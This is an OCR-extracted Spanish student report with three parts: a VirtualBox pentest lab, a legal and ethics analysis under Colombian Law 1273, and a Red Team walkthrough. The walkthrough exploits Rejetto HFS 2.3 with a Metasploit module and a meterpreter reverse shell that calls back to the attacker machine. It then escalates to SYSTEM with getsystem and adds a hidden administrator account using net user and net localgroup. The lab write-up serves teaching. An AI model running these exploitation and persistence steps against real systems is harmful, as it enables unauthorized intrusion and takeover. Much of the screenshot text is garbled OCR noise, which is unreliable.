Propiedad Vlor
Ventana principal del Panel de . . . 7
P LIC= Ayude a proteger su equipo con Firewall de Windows Sufio DNS espesifcop.
i Deserpeién Adaptadhr de esertoro ntsl[R) PRO/100)
o Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equips a Direccicn fisica 08-00-27-76-6F-57
et unprOgRMAOUN 4y i de ntemet o de unared Habikadopar DHCP o
caracteristica a través de Descot 1Put 192 1680101
Firewall de Windows Como me ayuda un firewall a proteger mi equipa? ireccion [P
i Méscara de subred IPvd 2552652550
) Cambiar a configuracién de Queé son las ubicaciones de red? Pueta de ence prect
Eicines - o Servidor DNS [Pvé
@ Activar o desactivar Firewall de Actualizar configuracisn de firewall Servidor WING [Pvd
Windows Firewallde Windows no estd usendo la Uso Is configurscion recomendad Hebitado para NetBios ... Si
& Restourarvalores configuracién recomendada para proteger el Vinculo: dieecin IPY6 ... fe80:504a:2299:11765501%411
L
predeterminados equipo
X 3 B Administrador: C:\Windows\system32\cmd.exe - ping 1921680100 -t
|| G e ;Cudl es|a configuracin recomendada?
A Respuesta
Solucién de problemas de red Respuesta
B Reces domestn o de vk rived Pz
!’? Redes domésticas o de trabajo (privadas) Foomuosts Rt Clomoodin
, ecpues ta 2 tienpotin
% o espuesta - tiempo<im
. ’? Redes publicas Rocpuesta -
[Respuesta 19271680108 tienpoin
i -168.8. tienpodin
Redes en lugares publicos como aeropuertos o cafeterias empottn
tienpo<in
Estado de Firewall de Windows: Desactivade 1 a8 tienpo¢in
tienpo<in
X [Respuesta desde 192.16 tienpo¢in
Conexones entrantes: Bluq.igavtud‘as‘\atscdunEX\un oshueste 1321602 tempottn
Vea tambsen no esténenla lista de progr) RS 192.168.0.108: tienpo¢in
Redes publicas sctivas - [Respuesta i tienpoin
Centro de actividades edes publicas activas: Red no identificada | EuIES Y 92.168.0.108 tienpodin
[Respuesta 1921680100, tienpodin
Centro de redes y recursos ificacion: Respuesta 192.168.0.108: tienpo<in
e ¥ Estado de notificacién: Notiicarme cusnds Firewa!. Loetomtin 132-168-0.108 empodin
nuevo programa 192.168.8.108: tienpoin
Recpuesta desde 192.168.0.100: tienpodin

| :
@‘fe “jj g u’\!/ - 0 ;ﬁ;"z{iu

Fuente: Propia.

Validacion de conexion con ping desde Kali a los 2 equipos Windows.
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llustracion 8 Pruebas ping desde Kali Linux
Kali-Linux-2021.2-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox w7 [m] X

Archivo Maquina Ver Entrada Dispositivos Ayuda

B romk2d 25 & Gterminal 12:45AM

lali@kal: ~

File Actions Edit File Actions Edit View Help
from . .0. ¢ icmp_: m . 64 bytes from 192.168.0.100:
from 192. .0. H 3 m 4 from . .0
from .168.0.101: ; me=0. from .168.0.100: D
0
0
0

from 192.168.0.101: . me=0. tes from : icmp_
9 from : icmp_
from : icmp_
from .168.0. : icmp_:
from 192. .0. : icmp_:
from 192. .0. : dicmp_:
from
from
from

icmp_: m . 92. .0. : icmp_:
: icmp_ me=0. s .168.0.100: icmp_se

B {40 [#] cTre DERECHA

Fuente: Propia.

2.1.4.4. Paso D: Evidenciar con printscreen el montaje del banco de
trabajo y explicar como se encuentra desplegado “caracteristicas
técnicas de hardware”.

Para las maquinas virtuales se seleccion el hardware que venian por
defecto en las imagenes que se importaron en el virtual box. Solo se
cambio la configuracion de la red, seleccionando una red de modo
interno “intnet”, se configuro el direccionamiento de la red
192.168.0.0/24.

e Windows 7 X86 (IP 192.168.0.100) - 4GB ram, 4 cores, DD 50GB
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llustracion 9 Configuracion hardware maquina Windows 7 32bits

8F Oracle VM VirtualBox Administrador — O X

Archivo Maquina Ayuda

e
g g IZ&

Nueva Configuracién Descartar Mostrar

B general | previsualizacion
Nombre: win7-SE2020

Sistema operativo: Windows 7 (64-bit)

[®] sistema

Memoria base: 4096 MB

Procesadares; )

Orden de arranque: Disquete, Optica, Disco duro

Aceleracién: VT-x/AMD-V, Paginacién anidada, Paravirtualizacién Hyper-V
| pantalla

Memoria de video: 128 MB

Controlader grafice: VBoxSVGA

Servidor de escritorio remoto: Inhabilitado

Grabacion: Inhabilitado

2] Almacenamiento

Controlador: SATA
Puerto SATA 0: win7-SE2020-disk001.vdi (Normal, 50,00 GB)

{» Audio

Controlader de anfitrion: Windows DirectSound
Controlador: Audio Intel HD

Red

Adaptador 1: Intel PRO/1000 MT Desktop (Red interna, «intnet»)
£ use

Controlador USB: OHET
Filtros de dispositivos: 0 (0 activo)

[ "] carpetas compartidas

Ninguno

Descripcion

Ninguno

Fuente: Propia.

e Windows 7 X64 (IP 192.168.0.101 - 4GB ram, 1 cores, DD 50GB

llustracion 10 Configuracion hardware maquina Windows 7 64bits
8% Oracle VM VirtualBox Admi

strador - m} has
Archivo Maquina Ayuda

W W L

Nueva Configuracidn Descartar Mostrar

B general B previsualizacién
Nombre: Win7-SE2020-X64

Sistema operativo:  Windows 7 (64-bit)

Grupos: ESI Seg. DB

II] Sistema

Memoria base: 4096 MB

Orden de arranque: Gptica, Disco duro

Aceleracion: VT-x/AMD-V, Paginacion anidada, Paravirtualizacion Hyper-V
B rantalla

Memoria de video: 18 mB

Controlador grafico: VBOXSVGA

Servidor de escritorio remota: Inhabilitado

Grabacicn: Inhabilitado

2] Almacenamiento

Controlador: SATA
Puerto SATA 0:  Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB)
Puerto SATA 1:  [Unidad dptica] Vacio

1 Audio

Controlador de anfitrién: Windows DirectSound
Controlador: Audio Intel HD

Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Red interna, «intnet»)
L7 use

Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activo)

[] carpetas compartidas

Ninguno

Descripcion

Ninguno

Fuente: Propia.
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e Kali-linux-2021.2 (IP 192.168.0.110) - 2GB ram, 2 cores, DD 80GB

llustracién 11 Configuracion hardware maquina Kali Linux
N# Oracle VM VirtualBox Administrador - m} X

Archivo Maquina Ayuda

Nueva Configuracin Descartar  Mostrar

B General [ previsualizacién
Nombre: Kali-Linux-2021.2-virtualbox-amd&4

Sistema operativo: Debian (64-bit)

| B | Sistema

Memoria base: 2048 MB

Procesadores: 2

Orden de arranque: Disco duro, Optica

Aceleracidn: VT-x/AMD-V, Paginacidn anidada, PAE/NX, Paravirtualizacion KVM
B rantalia

Memoria de video: 128 MB

Controlador grafico: VMSVGA

Servidor de escritorio remoto:  Inhabilitado

Grabacidn: Inhabilitado

&/ Almacenamiento

Controlador: IDE
IDE secundario maestro: [Unidad dptica] Vacio
Controlador: SATA
Puerto SATA 0: Kali-Linux-2021.2-virtualbox-amd64-disk001.vdi (Normal, 80,00 GB)

[» Audio

Controlador de anfitrion: Windows DirectSound
Controlador: ICH AC97

' Red
Adaptador 1: Intel PRO/1000 MT Desktop (Red interna, «intnets)
£ usB

Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activo)

| | Carpetas compartidas

Fuente: Propia.

2.2. ANALISIS LEGAL

2.2.1. Analisis de los anexos Escenario 2 y Acuerdo desde el punto de vista
legal y no ético.

Inicialmente el anexo 2 tiene poca disposicion ética por parte de la compafia
ya que en el parrafo 2 indica que su contrato de vinculacién: fue elaborado
por un abogado que ya no labora con la organizacion y fue despedido por
encontrar algunos procesos ilicitos.

En el anexo 3 podemos evidenciar diferentes practicas que son ilegales como
se evidencia en la primera clausula, donde especifican la prohibicion de
divulgar informacién a las autoridades legales, también esta escrito que esta
informacion puede ser sobre algunos procesos ilegales de la compaiiia y si
esto es cierto, es una obligacion ciudadana la divulgacion de delitos ante las
autoridades y también esta estipulado en el cédigo de ética denunciar toda
transgresion a la ley.
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En la tercera clausula numeral 2, tienen estipulado como informacion
confidencial datos de chuzadas, algo que es un delito, como también la
interceptacion de informacion y el acceso abusivo a sistemas informaticos,
todo esto hace parte de este numeral, donde es claro que se presentan
irregularidades con la procedencia de la informacién confidencial.

En la cuarta clausula numeral 3, especifican que esta prohibido denunciar
actividades sospechosas de espionaje esto esta catalogado como delito,
también hablan sobre cualquier otro método de apropiacion de informacion
de terceros, esto es ilegal desde cualquier punto de vista ya que este tipo de
actividades comprometen la confidencialidad de estos terceros a los que se
les hace referencia.

En el numeral 4 de la cuarta clausula también vuelven a recalcar que esta
prohibido la denuncia en referencia a informacion ilegal que se pueda
conocer.

En la misma clausula numeral 8, especifican que, como parte receptora de la
informacion, seria responsable ante las autoridades sobre un posible
allanamiento que se dé y se tenga informacién que en teoria fue entrega por
la parte reveladora, esto insélito ya que simplemente esto es un proceso para
participar en un trabajo.

En el documento también se encuentra irregularidades ya que en la clausula
5 aparentemente faltan partes del documento o estan eliminadas, también
falta la clausula 7 que no esta.

En la clausula octava también dejan muy mal parado al estudiante que haga
parte del acuerdo, ya que estipulan que ante un evento en el cual se descubra
gue se tiene informacién ilegal por parte del receptor, este tendra que
responsabilizarse y dejar exonerado a la parte contratante.

2.2.2. Analisis de los anexos, en relacion a la vulneracion de la ley 1273
argumentando cualquier proceso ilegal.

Validando el anexo 3 se pueden encontrar claramente diferentes infracciones
alaley 1273, como los son:

En la tercera clausula numeral 2, especifican las chuzadas y la interceptacion
de informacion, esto es vulneracion al articulo 269C ya que incurre en la
interceptacion de informacion entre el origen y el destino, también se puede
identificar el articulo 269A ya que citan el acceso abusivo a sistemas
informaticos, y claramente estan violando la confidencialidad y la integridad
de la informacion.

En el numeral 4 de la cuarta clausula podemos identificar una falencia ética
estipulando la prohibicion de denunciar ante las autoridades, cualquier
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actividad sospechosa de espionaje u otros procesos donde se apropien de
informacion de terceros, esto es vulneracion al articulo 269F ya que este
estipula la violacion a los datos personales, y esta definido en este acuerdo
gue todo dato confidencial puede llegar a ser datos intimos personales o
datos secretos de terceros.

2.2.3. Analisis de la propuesta laboral, teniendo presente en cuenta la
revision desde el punto de vista legal y ético.

No, la verdad no seria algo practico, evaluando la integridad ética no se
deberia participar en este tipo de proceso, ya que se puede evidenciar
practicas totalmente desfasadas en las cuales se vulneran las leyes
colombianas, como las normas éticas de cualquier profesion.

Dando un ejemplo claro es la negacion a los deberes generales de los
profesionales segun el codigo de ética Copnia, donde claramente se recalca
en el articulo 31, el deber como profesional de permitir las respectivas
diligencias adelantadas por las autoridades policiales o la negacion a
denunciar los delitos que puedan ser detectados en el ejercicio de la
profesion.

También es practico tener en cuenta lo estipulado en los deberes especiales
del cédigo de Etica, donde claramente estd prohibido ejercer criterios
profesionales partidistas, y esto se puede atribuir al interés de la compaifiia
WhiteHouse Security donde intenta fomentar una inclinacion favorable a con
ellos, en donde sus actividades operacionales pueden comprometer a
terceros, debido a la captacién de informacion mediante procedimientos
ilegales.

Claramente también se vulnera el articulo 34 donde especifican la prohibicion
de aceptar trabajos que vayan en contra de las disposiciones legales
vigentes, y como hemos visto en este acuerdo confidencial, y lo recalcan
claramente, especificando que existen procedimientos y/o actos ilegales
dentro de las funciones a desarrollar.

También podemos ver que, al aceptar este acuerdo, estamos
desprestigiando nuestra profesion, como también incumpliendo las
disposiciones legales, como esté indicado en el articulo 35.

Nuevamente en el articulo 39 se recalca que los secretos y la reserva de
informacion confidencial, se sostiene salvo obligaciones legales de revelarla,
y en este acuerdo en varias clausulas difieren de este concepto, negando la
denuncia ante las autoridades.

Aparte tenemos las faltas graves, que derivan en la perdida de la tarjeta
profesional, de estas podemos destacar que por la falta de ética que se ve
en este acuerdo por parte del empleador, se asume toda responsabilidad al
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firmar este acuerdo incurriendo en la vulnerabilidad a muchas practicas
reglamentadas por el cédigo de ética de Copnia, y esto llevara a dafar el
perfil profesional o incurrir en algun delito por parte del firmante del acuerdo.

2.2.4. Andlisis del caso “OPERACION ANDROMEDA BUGGLY” desde su
posicion teniendo en cuenta los aspectos legales y éticos.

Desde el aspecto legal se detectaron muchas irregularidades y estas
concluyeron que hubo negligencia por parte de los implicados directos, ya
gue estos actuaron mas alla de sus deberes o funciones, se puede ver que
se pudo manipular informacién sensible en muchos niveles, hasta se habla
de secretos politicos, solo con esto se puede evidenciar que se cometieron
varios delitos como el acceso abusivo a un sistema de informacion o la
interceptacion de informacion, dando pie a controversias en el &mbito politico
como en el lega, ya que segun las investigaciones, esta fachada estaba
facultada para operar por la Central de Inteligencia Técnica del Ejercito
Nacional, con el nombre de operacion Andromeda.

También se tuvieron indicios de monitoreo del espectro, uso de software
malicioso, ya que segun un medio experto en seguridad informética de
Espafia, denuncio software que tenia asociada la IP que usaba el sitio
Buggly, claramente esto es ilegal dado que los que realizaban estas
actividades no estaban autorizados para realizaras, y aparte habia personal
externo que trabajaba sin supervision done pudieron llegar a tener acceso a
informacion sensible, o como se conocié que personal militar parte de la
operacion vendio acceso a correos de los miembros de las Farc.

Otros articulos de la ley 1273 que se vulneraron, fueron violacion de datos
personales de las personas interceptadas, esto evidencia que se violaron
casi todos los articulos de la proteccién de la informacién y de los datos.

Respecto a la ética, podemos concluir que inicialmente el proyecto estaba
cumpliendo los estatutos legales que les permitia ir estudiando las
habilidades de los terceros que participaban, aunque muchas de estas
personas no tenian conocimiento del objetivo que se buscaba dentro de
Buggly; otro punto puede ser que a medida que se avanzaba en
conocimiento, habilidades en hacking, reclutamiento de terceros, se
empezaron a realizar actividades poco éticas que se mezclaban con
ilegalidad, como las de dar facultades a terceros a informacion delicada del
ambito politico, personal, de lideres regionales o grupos de guerrillas, que al
final indican pudo terminar en el mercado negro.
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2.3.ANALISIS RED TEAM

2.3.1. Informe de herramientas y procedimientos utilizados para dar solucion

al escenario de Red Team de acuerdo a los pasos del pentesting.

Segun el analisis que se realiz6 sobre la documentacion aportada, para el
caso en cuestidon, se pudieron desarrollar los pasos de pentesting de la

siguiente forma.

2.3.1.1. Etapa de reconocimiento

Se analizo la documentacion del caso, en la cual se pueden identificar
diferentes pistas que seguir, una de estas es la aplicacion rejetto v2.3 a
la cual se le realiza una investigacion, en la que descubrimos diferentes
vulnerabilidades segun medios web enfocados a la ciberseguridad,
también tenemos claro datos claves del host objetivo, como lo son el

sistema operativo, la arquitectura.

llustracion 12 Informacion sobre rejetto en www.exploit-db.com

O = ot Datebase - Exploits for P X |

C QA B hitps/swwwesploit-db.com

Seie [ Acivatudispositiv.. ) Pronosticos P Estudio £ EU (Y Win? Pro SP1 Espa.. ) Wartle

2020-11-30 3
2016-01-04 £
ﬁ 2014-10-09 £
20141002 *

[ U}
20140915 3
+ 2008-01-23 E 9
2007-12-05 *

*

Downloads

Kali Linux

Fuente: Propia.

< Rejetlo HtpFileServer 2.3.x - Remote Command Execution (3)

Rejetto HTTP File Sen

Rejello HTTP File Sen

Rejetio HTTP Fi
Rejetio HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities

Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload

showing 110 7 of 7 entries (filtered from 44,429 total entries)

Certifications Training

- Penetration Testing with

All new
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Remole

WebApps

Remate

Remole

Remote

Y Filters T ResetAll

Search.  rejetto
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Felipe M. Aragon

Luigi Auriemma

Professional Services

Penetration Testing



llustracion 13 Exploit seleccionado
- FLU
7DATABASE

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)

EDB-ID: CVE: Author: Type: Platform: Date:

EDB Verified: Exploit: & / {} Vulnerable App: B

2.3.1.2. Etapa de escaneo de puerto, servicios y SO

Ya en el analisis de reconocimiento utilizaremos inicialmente la aplicacion
metasploit framework que viene lista en el Kali Linux, abrimos la
aplicacién y creamos el proyecto de pentesting para tener registro de
todos los datos que recopilemos con cada comando, creamos el espacio
de trabajo con los siguientes comandos.

llustracion 14 Creacioén de espacio de trabajo en metasploit
msf6 > workspace -a Etapa_3
Added workspace: Etapa_3

Workspace: Etapa_3
Fuente: Propia.

NMAP esta herramienta es esencial para el escaneo del obijetivo,
entonces ya teniendo el espacio en metasploit, realizamos un analisis con
el comando DB_NMAP el cual me permite utilizar la aplicacion NMAP
desde metasploit registrando toda la informacién relevante que
encontremos.
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llustracion 15 Escaneo del host objetivo
msf6 > db_nmap -sV 192.168.0.18
Nmap: Starting Nmap 7.91 ( https
Nmap scan report for pc202006 (192.168.0.18)
Host is up (@.8015s latency).
Not shown: filtered ports

PORT STATE SERVICE VERSION

tcp open http HttpFileServer
ervice Info: 05: Windows; CPE: cpe i ft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds

Fuente: Propia.

Se realiza reconocimiento con otra aplicacion conocida llamada Nessus,
para ver si se pueden detectar més vulnerabilidades.

llustracion 16 Busqueda de vulnerabilidades con Nessus

Etapa_3 Configure Audit Trail Launch = Report v Expont =
< Back o My Sca
Hosts Vulnerabiliies 15 VPR Top Throats
or v
Sev Name Family Count Scan Details
D Aoache Strus 2 s:a ) sur Tag heed Element XS5 GOl abuses : XS5 1 Poler: Basic Network Scan
HTTP (Multip 2
EEEER Cormon Plattorm Enumeration (CPE) Goneral 1 1380
Erd 1 21 3t 1145 PM
[0 PR General ) Elapsed
Ethemet Card Manuacturer Detection Mise: 1
= Vulnerabitiss
) oot MAC Addresses General ' ’ . Crical
High
WEERR o<t Fully Qualfiod Domain Name (FQDN) Resaluton Ganeral 1 Medum
. Low
B essus Sean Informaion Settngs ! . o
BRI essus SYN scanner Port scanners 1
08 I General 1
[ PR General '
BEERR Sevice Detection Servico detecson !

Se realizan consultas mas especificas para detectar, puertos, sistema
operativo y servicios que se estan corriendo en la maquina objetivo.

llustracion 17 Buscando mas detalles del host

privilege

Fuente: Propia.
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2.3.1.3. Etapa de identificacion y analisis de vulnerabilidades

Se realiza un andlisis con un comando NMAP, que permite validar con las
bases de datos de exploit contra las vulnerabilidades del equipo.
Se comparan las vulnerabilidades identificadas y se validan con la
informacion recolectada, donde podemos identificar la vulnerabilidad
conocida, para esta existe un exploit identificado con el ID 6287.

llustracion 18 Busqueda de vulnerabilidades con NMAP

A21-09-22 00:06 EDT

cp open http HttpFileServer httpd 2.3
_http-server-header: HFS
vulners
rejetto:httpfileserver:2.3:
1337DAY: 10.0
SECURITYVULNS:VULN: 14023

60BBFF *EXPLOITH

rvice Info:
ice detection performed. Ple
: Nmap done: 1 IP address (1 hi

Fuente: Propia.

Metasploit Framework, ya teniendo los datos del exploit a usar, se realiza
la busqueda con la aplicacion metasploit, que nos permite buscar los
exploits asociados a un nombre caracteristico de la aplicacion vulnerable,
o numero de identificacion del exploit.

ustracién 19 Busqueda de vulnerabilidades
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2.3.1.4. Etapa de explotacion de vulnerabilidades

Ya teniendo todo la documentacion y andlisis previo, de las
vulnerabilidades y exploit a usar, seleccionamos el exploit en la aplicacion
Metasploit Framework, y validamos las opciones que necesitamos
configurar para usarlo.

llustracion 20 Opciones del exploit

msf6 exploit( ) > show options

Module options (exploit/windows/http/rejett

Name Current Setting Required De
HTTPDELAY 10 s ait before terminating web s

Proxies [ T rmat type:host:port[, port][ ...

RHOSTS range CIDR identifie s file with syntax 'file:<path>
RPORT 80

SRVHOST ~ 0.0.0.0

SRVPORT 8080

ssL false

ssLcert

TARGETURL  /

URIPATH The URI to use fi

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Des

EXITFUNC process yes 0 read, process, none)
LHOST 192.168.0.17 e e lis ay be specified)
LPORT LUbl

Exploit target:

Id Name

0  Automatic

msf6 exploit(

Fuente: Propia.

Tenemos que configurar el RHOSTS el cual identifica el host objetivo.

llustracién 21 Configuracién de host objetivo
msf6 exploit( ) » set rhosts 192.168.0.18

rhosts = 192.168.0.18
Fuente: Propia.

Para esta ocasion no se necesita validar configuracion, ya que las
requeridas estan ya predeterminadas correctamente. Procedemos a la
explotacion de la vulnerabilidad con el comando exploit, y la aplicacion
entrar a ejecutar el script que hace parte del exploit seleccionado.
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llustracion 22 Explotando vulnerabilidad
msfé exploit( ) > exploit

Started reverse TCP handler
Using URL: http
Local IP: http:,
Server started.
Sending a malicious request to /
Payload request received: /kA8vpBjQiFs
Sending stage (175174 by ) to 19
[1] Tried to delete %TEMP¥\YdifpULO. result
Meterpreter session 1 opened (192.16 714444 — 192.168.0.18:49165) at 2021-09-22 00:20:17 -0400
Server stopped.

meterpreter > []

Fuente: Propia.

2.3.1.5. Etapa de elevacion de privilegios

En esta etapa seguimos usando el metasploit que usa una serie de plugin
para genera una herramienta de comandos que se ejecutan sobre el host
objetivo, con los permisos de usuarios heredados en el ataque.

En esta herramienta podemos usar el siguiente comando para habilitar
una sesién de comandos Windows con los tokens o permisos que se
tienen.

llustraciéon 23 Comando para abrir ventana de comando windows
meterpreter > execute -H -f cmd.exe -i

Process 2488 created.

Channel 2 created.

Microsoft Windows [Versi®n 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop>|]

Fuente: Propia.

Ya con la sesion de comandos habilitada procedemos a crear el usuario
que demuestra la posibilidad de afectacion sobre el host objetivo.

llustracion 24 Comando para crear usuario en windows

C:\Users\usuario\Desktop>net user Daniel_Beltran /add
net user Daniel Beltran /add

Se ha completado el comando correctamente.

Fuente: Propia.

Concediendo permisos al usuario.
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llustracion 25 Asignar grupo al usuario creado

Se ha completado el comando correctamente.

Fuente: Propia.
Validacion de la creacion del usuario con sus respectivos permisos.

llustracion 26 Consulta de usuarios del objetivo

C:\Usershusuario\Desktop>net localgroup Administradores

net localgroup Administrado

Nombre de alias Administ s

omentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrador

Daniel_Beltran

usuario

Se ha completado el comando correctamente.

Fuente: Propia.
Validacion en el equipo objetivo todo lo generado desde comandos.

llustracion 27 Validacién en el host objetivo
Win7-SE2020-X64 (Inicial) [Corrienda] - Oracle VM VirtualBox - [m] X

Archivo Maguina Ver Entrada Dispositivos Ayuda

@Qv\jﬁlu Cuentss de usuario » Administrar cuentas ~ [ 43 |[ Bus

{2 HFS - HTTP File Server 2.3 Build 288

|8 Menu | f Port:80 | @2 Youarein Easy mode | i) Update now Elegir la cuenta que desee cambiar

[ Open in browser _http://192168.0.18/
Virtual File System

0 11:06:05 p.m. 192.168
110606 p.m. 192.168
110606 p.m. 192.168
110606 p.m. 192.168.
110636 p.m. 192.168.
110636 p.m. 192.168.
110636 p.m. 192.168.
11:06:38 p.m. 192168
11:20:12 pm_ 192168
> x Open+'GET","http/
> H+Em Number+<+0+]
= wsh_exit

> End+If

= x.Send

> Execute+x responssT|
11:20:12 pm_ 192168

«

usuario
Administrador

Daniel_Beltran
Administrador

Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

;Qué es una cuenta de usuario?

W 1P address 2 File
Acciones adicionales que se pueden realizar

& Configurar Control parental

Irla pagina principal de Cuentas de usuario

Out: 0.0 KB/s  In: 0.0 KB/s

A (sl

@ 210 e|e|H]

Fuente: Propia.

PIBET I

Para la elevacion de privilegios, se usan los siguientes comandos desde
la misma aplicacion meterpreter de Metasploit framework.
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llustracion 28 Elevacién de privilegios

meterpreter > getuid
Server username: PC202006\usuario

meterpreter > getsystem

.. got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Fuente: Propia.
Abrir ventana de comandos Windows con elevacion de privilegios.

llustracion 29 Ventana de comando con privilegios

meterpreter > shell
0 created.

Windows [Versi€n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>net localgroup Administradores
net localgroup Administradores
Nombre de alias Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrador

Daniel_Beltran

usuario

Se ha completado el comando correctamente.

Fuente: Propia.

2.3.2. Informe con anadlisis del caso de Red Team, que permitié dar solucién
al fallo identificado.

Fue esencial la informacion dada en el anexo 4, ya que disminuyo
considerablemente varios aspectos de la investigacion.

e Rejetto: este dato de la aplicacién que esta asociado al equipo donde
posiblemente se esta generando una fuga de informacién, fue clave
porque con solo una busqueda en Google, se puede identificar varios
exploit asociados a este.

e Version: este dato también es elemental, porque en la etapa de
reconocimiento se encontré que el exploit atacaba diferentes versiones,
solo con algunas se podia lograr correctamente el ataque.

e Shell reversa: también sirvi6 para reducir la busqueda en el exploit,
indicandonos el método final de explotacion.

e Elevacidon de privilegios: esto ayudo a identificar uno de los objetivos
iniciales al ejecutar el ataque.

e Version del SO: esto ayudo para poder seleccionar el exploit que serviay
correspondia con el sistema operativo a atacar.
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e Copia del servidor: esta copia fue fundamental ya que, sin ella no se
podria realizar el laboratorio de pentesting.

2.3.3. Informe de herramientas utilizadas para dar identificar fallos en el
escenario propuesto.

Se uso la herramienta NMAP y NESSUS, en ambas se pudo ver la
vulnerabilidad activa en el puerto 80 sobre la maquina de Windows 7, esto
claro con la aplicacion rejetto funcionando, al realizar la explotacion y
establecer la conexion con meterpreter se identifica que se escucha desde la
maquina atacante con el puerto 4444, y la sesion se establece con el puerto
49165.

Nota: Esto se encuentra en la llustracion 11 Explotando vulnerabilidad.

2.3.4. Analisis del ataque presentado a cada una de las maquinas
identificadas.

Basicamente el ataque permite la ejecucion o manipulacion de la maquina
Windows 7, desde una consola de comandos con privilegios system, esto
segun entiendo por medio de la funcion findMacroMarker en parserLib.pas
gue se encuentra en Rejetto HTTP File Server antes de la version 2.3c, ya
en la consola el atacante puede llegar a ejecutar programas arbitrariamente,
o profundizar su ataque a otros equipos de la red donde este la maquina,
comprometiendo toda la red y sus sistemas.

llustracion 30 Grafica del ataque

o !
Se establece conexidn
O
.‘ Atague x puerto 80,
) habiltiado para web
Madtina y
. l’ Permiso
WlﬂdOWS 7 -” puerto 80
Respuesta con puerto -
aleatorios de navegacion ) -” ————
: Servidor de 5 Sesidn meterpreter
. archivos ; I . Atacante
. puertoso { FIRI:'WMI_
REIETTO ’
PC

Fuente: Propia.
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2.3.5. Informe de la explotacion de vulnerabilidades en el escenario
propuesto.

Primer paso se ejecutd la aplicacion HFS (Rejetto) V2.3 en la maquina
Windows 7 de 64 bits.

llustracion 31 Aplicacion HFS (rejetto) v2.3

8 Win7-5E2020-X64 (Inicial) [Corriendo] - Oracle VM VirtualBox = o X

Archivo Maquina Ver Entrada Dispositivos Ayuda

£ HES ~ HTTP File Server 2.3 Build 288 |[E=SECE 5=

&) Menu | 7 Port:80 | @8 You arein Easy mode | i) Update now

[l Open in browser  hitp://192.168.0.18/ Copy to clipboard
Virtual File System Log

ol 101436 p m_Check update: new version found: 2.3m

§9 1P address 0 Status Speed Time.. Progress

Out:00KB/s  In: 0.0 KB/s

P O o0e &[] R

g @y EEHIE R cromeaia

Fuente: Propia.

Escaneo del objetivo, con diferentes comandos de NMAP.

llustracion 32 Scaneo del host objetivo

msfé > db_nmap -sV 192.1 .18
Nmap: Starting Nmap 7.91 ( https map.or
Nmap: 0 2006 (192.1
Nmap : s .
Nmap: : : 999 filtered ports

STATE SERVICE VERSION

cp open http HttpFileServer
ice Info: 0S: Windows; CPE: cpe:
Service detection performed. Please report any inc
Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.@¢

Fuente: Propia.

Analisis de servicios y sistema operativo del objetivo.
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llustracion 33 Analisis de la maquina windows 7
db_nmap -sS -sV -0 192.168.0.18
Nmap: 'Y requested a scan type which req : rivileges
Runnin

rd for kali:
Nmap: Starting Nmap 7.9 at 2021-09-22 00:02 ED
Nmap: Nmap scan report f 2 6 (192.168.0.18
Nmap: Host is up (0.00079s latency
Nmap: Not n: 999 filtered ports
Nmap: PORT TATE SERVICE VERSION
Nmap : tcp open http HttpFileServer httpd 2.

Nmap: MAC Address: @8 27:92:80:C0 (Oracle VirtualBox virtual NIC)

Nmap: Warning: 0SScan results may be unreliable because we could find at least 1 open and 1 closed port

Nmap : details: Microsoft Winc Server 8 0 Beta 3, Micr ft windows Server 28 R2 or Windows 8.1, N
7 Prof ional or wind 8, Micr Embedded Standard Microsoft Windows Phone 7.5 or

SPQ or SP1, Wind Server 2 1, or Wind 7, Mic ft Windows Vista SP2, Windows

Nmap : : 1 hop

Nmap: Service Info: 0S: Wind ; CPE: cpe:

Nmap: O0S and Service detecti yrmed. Please report any incorrect results at https://nmap.org
Nmap: Nmap done: 1 IP address (1 ho up) scanned in 14.58 seconds

Fuente: Propia.

Se realiza un andlisis de las vulnerabilidades del equipo.

llustracion 34 Busqueda de vulnerabilidades con NMAP

: 00:06 EDT
Nmap: Nmap scan report for pc202006 (192.168.0.18)
t is up (0.00099s latency).
hown: 999 filtered ports
0 STATE SERVICE VERSION
tcp open http HttpFileServer httpd 2.3
_http-server-header: HFs
vulners:
rejetto:httpfileserver:2.
7 849 ://vulne
SECURITYVULNS : VUL
PACKETSTORM: 1615 /vulners.c Rl
://vulners.c o PACKETSTORM: 160264
/vulners.com/pa 'ACKETSTORM: 135122

|

|

|
|

|

|
s

|

|
s

| /WINDOW |

| 6 6 7 a AGES1CBO6ASA 6D5A235E
B || 8 2 *EXPLOIT:
|
|
|
|
|
2
|
|
|

vulners.com/exp

//vulners . com/zdt/ 9 *EXPLOIT*
*EXPLOIT*
*EXPLOIT*

ce detection performed. Please report any inc
Nmap done: 1 IP address (1 host up) scanned in 13

Fuente: Propia.

Buscamos los exploits asociados a un nombre caracteristico de la aplicacion
vulnerable, o numero de identificacion del exploit.

llustracion 35 Blusqueda de vulnerabilidades

msf6 > vul

Vulnerabiliti

Host Name References

2 04:06:09 UTC 192.168.0.18 cpe:/a:rejetto

pFileServer Remote Command Executio

Inauthenticated WebService User Creation

act with a module by

> use exploit/

No payload configured, defaulting tc

6§ exploit(

Fuente: Propia.
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Seleccionamos el exploit en la aplicacion Metasploit Framework, y lo
configuramos.

llustracion 36 Opciones del exploit

msf6 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Sett Required Description

HTTPDELAY no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

